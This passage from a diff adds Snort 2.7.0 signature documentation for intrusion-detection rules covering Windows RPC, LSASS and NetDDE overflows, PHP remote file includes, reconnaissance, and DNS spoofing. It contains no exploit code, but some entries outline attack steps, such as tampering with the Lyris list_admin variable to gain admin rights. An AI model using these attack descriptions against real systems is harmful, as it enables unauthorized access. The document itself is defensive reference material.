+Check how many invalid attempts occurred, change the password of the 
+user that tried to log in.
+
+It is best to avoid using telnet whenever possible; its authentication
+system is lacking, and encryption is generally unavailable.  If your
+telnet server can be configured to temporarily disable access after
+rapid successive failures, it as advised that you do so.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org> and Nick Black, Reflex Security <dank@reflexsecurity.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+Telnet RFC:
+http://www.faqs.org/rfcs/rfc854.html
+
+--
--- snort-2.7.0.orig/doc/signatures/3438.txt
+++ snort-2.7.0/doc/signatures/3438.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3438
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1801.txt
+++ snort-2.7.0/doc/signatures/1801.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1801
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3289.txt
+++ snort-2.7.0/doc/signatures/3289.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3289
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1504.txt
+++ snort-2.7.0/doc/signatures/1504.txt
@@ -0,0 +1,53 @@
+Rule:  
+
+--
+Sid:
+1504
+
+--
+Summary:
+This event is generated when an attempt is made to access AFS from a source outside the protected network.
+
+--
+Impact:
+Serious. Unauthorized file access.
+
+--
+Detailed Information:
+The Andrew File System (AFS) is a popular networked file system much like NFS, it is often used in the enterprise or by educational institutions. 
+
+AFS utilises an Access Control List (ACL) to determine which hosts or networks are allowed to connect to the resources in the system. Misconfigured ACLs may allow an attacker to gain critical information.
+
+--
+Attack Scenarios:
+Badly configured ACL's allow an attacker that has access to the AFS service to read critical files and even upload files.
+
+--
+Ease of Attack:
+Simple. No exploit code is needed.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Use a packet filtering firewall to prevent unknown hosts from accessing the AFS service
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1519.txt
+++ snort-2.7.0/doc/signatures/1519.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1519
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw in 
+Apache that can result in a listing of directory contents.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+When "Multiviews" are used to negotiate a directory index, a specially 
+crafted URL can be used to obtain a directory listing instead of the 
+index page.
+
+--
+Affected Systems:
+	Apache 1.3.11, 1.3.14 to 1.3.20
+
+--
+Attack Scenarios:
+An attacker can use this exploit to view sensitive information
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+The presence of the string "/?M=D" within an incoming http packet can 
+cause this rule to generate an event.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/456.txt
+++ snort-2.7.0/doc/signatures/456.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+456
+
+--
+Summary:
+This event is generated when an attempt is made to use ICMP as a
+reconnaisance tool.
+
+--
+Impact:
+Can be used as a reconnaissance tool.  Traceroute reveals information
+about the layout of a network.
+
+--
+Detailed Information:
+There are at least three different implementations of traceroute.  In
+one implementation traceroute works by sending an ICMP Echo Request
+packet to a destination host with a TTL value of 1.  If the host is more
+than one hop away, the first route that receives the back will send back
+an ICMP packet indicating that the TTL was exceeded.  The address of
+this router is then listed as the first hop.  The packet is then sent
+out again with a TTL of 2.  This continues until the destination host is
+able to reply or some maximum TTL value is reached.
+
+The other two implementations use the same TTL-based concept with an
+ICMP type of 30(traceroute) or with an UDP packet destined for an
+ephemeral port.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+
+Traceroute is often used against machines on a network prior to an
+attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP type 30 messages.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Miscellaneous
+http://www.faqs.org/rfcs/rfc1393.html
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1680.txt
+++ snort-2.7.0/doc/signatures/1680.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1680
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000398.txt
+++ snort-2.7.0/doc/signatures/100000398.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000398
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "frchart.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "frchart.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/521.txt
+++ snort-2.7.0/doc/signatures/521.txt
@@ -0,0 +1,54 @@
+Rule:
+--
+Sid:
+521
+
+--
+Summary:
+This event is generated when an overly large UDP packet is observed. 
+
+--
+Impact:
+Possible denial of service.  UDP packet payloads are typically smaller than 4000 bytes.  One possible explanation of a payload of greater than 4000 bytes is an attempted denial of service.
+
+--
+Detailed Information:
+UDP payloads are typically smaller than 4000 bytes since the UDP protocol is intended to be used for the transmission of smaller payloads.  When a large payload is observed, it may be a sign or anomalous activity, perhaps an attempted denial of service against the remote host. 
+
+--
+Affected Systems:
+Any system that listens for a UDP service. 
+
+--
+Attack Scenarios:
+An attacker may craft large UDP payloads in an attempt to cause a denial of service against a remote host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+There may be UDP services offered that naturally support large payload sizes.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Allow only known UDP protocols inbound.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS521
+
+--
--- snort-2.7.0.orig/doc/signatures/2072.txt
+++ snort-2.7.0/doc/signatures/2072.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2072
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Lyris List Manager.
+
+--
+Impact:
+Unauthorized escalation of user privileges.
+
+--
+Detailed Information:
+Lyris List Manager is a web based mailing list management interface. It 
+is possible for an attacker to gain administrator privileges for mailing
+lists by modifying variables sent to the lyris.pl script.
+
+The variable list_admin is used to identify the user as an 
+administrator, by changing this value from F to T the attacker can 
+identify himself as the mailing list administrator.
+
+--
+Affected Systems:
+	Lyris List Manager 3.0
+	Lyris List Manager 4.0
+
+--
+Attack Scenarios:
+The attacker can save a copy of the HTML interface locally and modify 
+the value of the list_admin variable, then submit the form directly to 
+lyris.pl.
+
+Alternatively the attacker can choose to submit the data in a URI.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches from the vendor.
+
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0758
+
+Bugtraq:
+http://www.securityfocus.com/bid/1584
+
+--
--- snort-2.7.0.orig/doc/signatures/2156.txt
+++ snort-2.7.0/doc/signatures/2156.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2156
+
+--
+Summary:
+This event is generated when an attempt is made to ascertain the status of the Apache module mod_gzip on a host. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to ascertain the status of the Apache module mod_gzip on a host from a source external to the protected network.
+
+mod_gzip is used to compress data sent by an Apache webserver in an attempt to preserve bandwidth and speed up communications between client and server.
+
+The attacker may be trying to gain information on the server by making a query to the mod_gzip_status page. This could lead to information disclusure which might then be used in further attacks against that host.
+
+--
+Affected Systems:
+Any host using the Apache module mod_gzip.
+
+--
+Attack Scenarios:
+An attacker can retrieve information on the server by making a request for the status of mod_gzip. This request would take the form http://www.foo.com/mod_gzip_status
+
+--
+Ease of Attack:
+Simple. No exploit required.
+
+--
+False Positives:
+The event will also be generated if Nessus is used to scan the host for this vulnerability.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable the mod_gzip module.
+
+Disallow access to mod_gzip_status from sources external to the protected network.
+
+Use the Apache directive <Location> to disallow access to the mod_gzip status page to the localhost only in the following manner:
+
+<Location /mod_gzip_status>
+    Order deny,allow
+    Deny from all
+    Allow from localhost
+</Location>
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2509.txt
+++ snort-2.7.0/doc/signatures/2509.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2509
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2939.txt
+++ snort-2.7.0/doc/signatures/2939.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2939
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/2961.txt
+++ snort-2.7.0/doc/signatures/2961.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2961
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/1795.txt
+++ snort-2.7.0/doc/signatures/1795.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1795
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "ejaculat".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "ejaculat".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/267.txt
+++ snort-2.7.0/doc/signatures/267.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+267
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2125.txt
+++ snort-2.7.0/doc/signatures/2125.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2125
+
+--
+Summary:
+This event is generated when an attempt is made to escape the root directory of an FTP server. 
+
+--
+Impact:
+Information gathering possible system file disclosure.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running an FTP server vulnerable to an attack that allows the user to escape the FTP root directory.
+
+The attacker may be trying to gain information on the FTP implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+The ST FTP server from STSoft suffers from a vulnerability that can allow an attacker to access the filesystem on the host running the service.
+
+This event will also be generated by someone using Nessus to scan for this vulnerability.
+
+--
+Affected Systems:
+STSoft ST FTP Service 3.0
+
+--
+Attack Scenarios:
+The attacker is able to access the filesystem of the server using normal FTP commands.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the FTP implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the underlying operating system is fully patched.
+
+Check the host for signs of compromise.
+
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000749.txt
+++ snort-2.7.0/doc/signatures/100000749.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000749
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "search.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "search.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2569.txt
+++ snort-2.7.0/doc/signatures/2569.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+2569
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000344.txt
+++ snort-2.7.0/doc/signatures/100000344.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000344
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SocketMail" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "site_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "site_path" parameter in the "index.php" script used by the "SocketMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SocketMail
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1908.txt
+++ snort-2.7.0/doc/signatures/1908.txt
@@ -0,0 +1,70 @@
+Rule:
+
+Sid:
+1909
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) Calendar
+Manager Service daemon, cmsd.
+
+--
+Impact:
+Remote root access. The attack may allow execution of arbitrary commands
+with the privileges of root.
+
+--
+Detailed Information:
+The cmsd RPC service implements the Calendar Manager Service daemon that
+is often distributed with the Common Desktop Environment (CDE) and Open
+Windows. The Calendar Manager daemon provides appointment and scheduling
